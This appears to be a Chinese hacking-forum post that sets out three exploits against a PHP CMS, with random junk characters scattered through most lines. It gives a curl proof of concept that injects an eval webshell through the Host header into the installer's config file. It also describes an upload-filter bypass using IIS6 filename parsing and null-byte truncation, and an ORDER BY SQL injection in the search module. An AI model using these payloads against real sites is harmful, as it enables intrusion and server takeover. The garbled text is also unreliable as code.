注入:
. N) E4 v7 _; R1 Z; x% R0 d& J& G# O- G
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
; x9 m9 P9 V/ _4 f
# U8 e$ m: O' ~: h! d( P% [鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件+ v* D: g c2 p4 Q; h; k* \
鸡肋2: 有一定安全常识的站长都会删掉 install 目录9 b+ H% ]5 s0 \+ b/ H; y
2 \- n9 r5 l* _! U
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; [- ]6 {4 ~* B# Y " D/ u, N+ E" W3 u
分析:
) H% Z; K/ _" |; y) {+ A $ Z6 K7 \( ?& G/ I d4 I
& A# o" D5 ?$ {) Y8 C5 [, O3 V9 ~$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤, c% D8 c' n/ ] u, G9 P" G* i
1 \& |2 ~1 ~$ K; L! Q
$filestr = fread(fopen($SysConfigFile, 'r'),30000);1 l( R1 y; l; H0 _
$filestr=str_replace(" ","",$filestr);
H1 n. s: I1 i" m0 B6 y $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
6 h+ d' ]4 }6 B8 L $filestr=str_replace("DefaultDbName",$dbname,$filestr);
4 d! U+ g7 d3 X. M $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);' e9 N, T6 @7 ~6 C
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);" i W& Z0 Y. e8 L; S! [
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);- V% Z' [, n* l. d; V+ d, r
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 C- a3 l1 y! o, c# ^3 s" y $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
- D6 r% j! Y/ l5 O* y- _. U) [* N
: Y* N7 v, _+ `% C' E" M3 | fwrite(fopen($ConFile,"w"),$filestr,30000);( ^) ?* ]6 K5 |3 j) U
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^& H" d' N& }3 ~ J4 ~7 L. u7 c
- [" [- k' @- b/ x" jpoc:
! f3 D% P* r* }
* u& y) ^) F g* ~?
/ | N* N, j) l! j8 R; ]1
% A0 l1 _8 |' N/ t. M+ `! `curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
- P! T4 X: @4 b' N8 R( ^3 Pshell地址: /config.inc.php
/ M- M0 [9 Q n8 H/ d" {% f9 g" T跟之前的 phpcms一样 需要远程数据库 h# H+ C: ?" q z5 Z( Y3 O
/ J% H$ C: V& |6 k' ~
——————————————————–1 w+ p B, @7 P) M( j/ s1 v
上传漏洞(需要进后台):6 V4 ^1 \) s' C/ j
漏洞文件: /kedit/upload_cgi/upload.php4 E L7 ?: X ^/ R% C' a
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
# Y, O2 I b; n2 R0 r
3 ~( Y$ e& _6 `% f7 M: P: j; c- |" n
: X1 \: N$ S3 Q3 c. C$ X+ [7 i+ ^/ J<?php' R* n- t/ \7 o
define("ROOTPATH", "../../"); n: S2 Z' n/ m5 ~
include(ROOTPATH."includes/admin.inc.php");
0 z8 u0 g6 n% t8 _, J* z NeedAuth(0);
' q F2 d+ C" W* j& [7 G( m 8 j6 C e. @/ Y) F
$dt=date("Ymd",time());2 u9 t. S# x2 q1 b, S/ S( W
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
3 ^$ t7 x3 H6 i8 k @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);# `8 R, Q0 e# _! K+ T
}
9 M6 A6 @" [7 I1 } Q) v 2 c6 l- R. v$ x
//文件保存目录路径* W9 j2 K- ~/ `+ O6 a1 p" z/ \
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';; k2 W1 [& B/ k& U( v6 X' [* p
echo $save_path;
4 s& v( @. D! x, ~4 } //文件保存目录URL4 x3 V( f! p4 m$ E/ \ G1 P
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
/ m8 D8 T4 C* ~/ k, F7 u
- V" F+ I6 P- L+ V0 K/ b9 `7 u //定义允许上传的文件扩展名
2 Y+ ? ?0 K$ h! k $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 a; V" G) Z1 J# k1 I) J2 \$ \. i
. c: m: E% L) q2 Z! i' i9 _1 c //最大文件大小8 q& L/ _3 X& A/ P9 B
$max_size = 1000000;5 q) N, z6 f) J* P6 \3 d0 y& f
" Q7 p2 l5 o9 c0 z5 v) {# L" N" z8 J
//更改目录权限
% i8 k A- ^9 [* k" Q @mkdir($save_path, 0777);) S. Y+ c- i- |$ t3 s$ W. }# |1 o
, c- R$ e1 H0 Z
//文件的全部路径
y9 ` U! {( t. U3 Q! U1 h! X $file_path = $save_path.$_POST['fileName']; //保存文件名/ h% k. R. t& V
# Z. i( I6 s, r7 i$ W; v
//文件URL
. j7 _; n! g) r7 l0 | $file_url = $save_url.$_POST['fileName'];
6 {% a! Z: x! ]% ~//有上传文件时) j. A, j5 x5 o: r& h# n4 G
if (empty($_FILES) === false) {
, W' v/ F+ W- S, B, l. o 4 Z! [2 R* ? @' _3 _* |
//原文件名
" v6 ~1 P6 N3 X; x6 N9 J) Y* X p $file_name = $_FILES['fileData']['name'];
( y9 w+ y* i) c( `" w" i //服务器上临时文件名% X9 e1 p& A$ w6 i; c
$tmp_name = $_FILES['fileData']['tmp_name'];
* Q: y3 R( g% A4 ]% z* V //文件大小
' k I2 w1 z" T9 b" S $file_size = $_FILES['fileData']['size'];
3 @" D ^8 W5 i //检查目录
0 k2 G7 d) r8 G6 G0 @1 ~ if (@is_dir($save_path) === false) {# \* g7 [6 r k0 o2 G9 ]' V
alert("上传目录不存在。");
% {& P9 D& D; v# m, ` }
" Z" B" {( I* D% N! ~( L //检查目录写权限
" d4 a8 x2 `, w4 ~0 x# h) C- F) P if (@is_writable($save_path) === false) {" M! w; w/ y3 z) }6 f
alert("上传目录没有写权限。");& M8 |% _+ L1 B- {+ p- t3 e
}
4 f! Q& K( C2 C+ V //检查是否已上传) V* W& E' {. ~5 _+ c. e' _
if (@is_uploaded_file($tmp_name) === false) {6 H1 e$ O4 R- H$ ^
alert("临时文件可能不是上传文件。");
, q! ]9 y2 h+ m% @( P4 W# c }' a* n: q- P' L! }' U! p/ \; N6 I
//检查文件大小8 g) k% y# |8 ?" w. ]6 _; h4 m
if ($file_size > $max_size) {$ T: t e8 `1 I
alert("上传文件大小超过限制。");3 ~# C- m% H. o' v9 l
}
+ [ H" w! G/ a) l. V //获得文件扩展名
% R; {6 X# [ g( z1 R6 l6 t $temp_arr = explode(".", $_POST['fileName']);7 D, k8 ^' |0 c: q
$file_ext = array_pop($temp_arr);5 W' p9 w% I1 i9 `( |% g
$file_ext = trim($file_ext);4 E8 B5 D0 W- I; _
$file_ext = strtolower($file_ext);
, b h5 @& w0 i( Q a c C7 f6 N
+ j; H6 p% j& e" M3 d+ Q* O2 d //检查扩展名 0 z. T2 Q7 o4 V7 b8 k
if (in_array($file_ext, $ext_arr) === false) {
y3 O. Q0 O6 o4 _7 A alert("上传文件扩展名是不允许的扩展名。");
! i. \6 A. z$ ~6 o: p, a6 J }# Y. z- y- W" U: J0 [2 x
' g7 P/ T+ j7 g* F //移动文件 ) L/ W) ^3 p: o* Y# K* @4 p6 R
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
0 M" G C& A; x* l ^3 b$ } if (move_uploaded_file($tmp_name, $file_path) === false) {
o- V/ e* C8 F; S! t: ?1 ]" C alert("上传文件失败。");
' L7 N2 U) ?" u. {2 @- m+ c f; f7 q1 J$ E }5 m* Y& n% ~& k$ P
& _. c+ n4 C2 s
@chmod($file_path,0666);
9 E2 P% W3 w; V$ f1 H 6 w/ I' y; @+ ?1 e+ z2 Q3 f
?># J2 b1 e( @" k8 y/ Y
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
& Z0 C) X3 ^5 m9 F' I0 A, A : w0 d3 {5 U7 t) J: P
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 X8 @$ S3 |: ?$ X& t8 [4 Y5 s
' c( x1 N2 D) T f U——————————————————
( x9 L; D! I, l- Z0 j注入漏洞:8 q: z: M7 h- h2 j/ i+ U
漏洞文件:search/module/search.php3 x! O/ ]% G0 e+ m9 y# L
/search/index.php?key=1&myord=1 [sqlinjection]6 i& _" _; a4 `
0 M& }0 r) a9 O' O% `
! n8 g# Y% u6 ]4 ]<?php
) |. R9 q( _3 X, _ // ... 省略 n 行...7 `6 \1 g: F' o. ~ h; h+ b- e
//第18行:& }: |. h! e; f3 n# s+ v
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
* ~' F8 ]& {. w: ]- h" |8 [" N $page=htmlspecialchars($_GET["page"]);
: z4 `/ {* C5 N5 r' Q# e9 N s" W $myord=htmlspecialchars($_GET["myord"]);
6 c# _" r& ^6 Z7 p 5 P+ R: q; D( R( d2 _/ m9 F& a
// ... 省略 n 行...- r K/ E7 C- I2 ^) L5 Z: a
$key,$myord 两个参数带入查询/ l- j2 S4 E8 {
//第47行 $key:
: x! Y& l7 s1 K; W/ v& o
. x8 k9 ~( d: J* g9 {5 _% l $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
. n% k2 I% V( C: ` , K0 q: X' W" g4 {# m6 ]$ A" n
//第197行 $myord
( f7 F } L3 h) Q* ? U $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入' d# c, f: t: y7 [6 M; J
1 z: C8 M' K$ ?% g+ x* l
?>) [0 s. ^! b8 n4 z+ S' w
|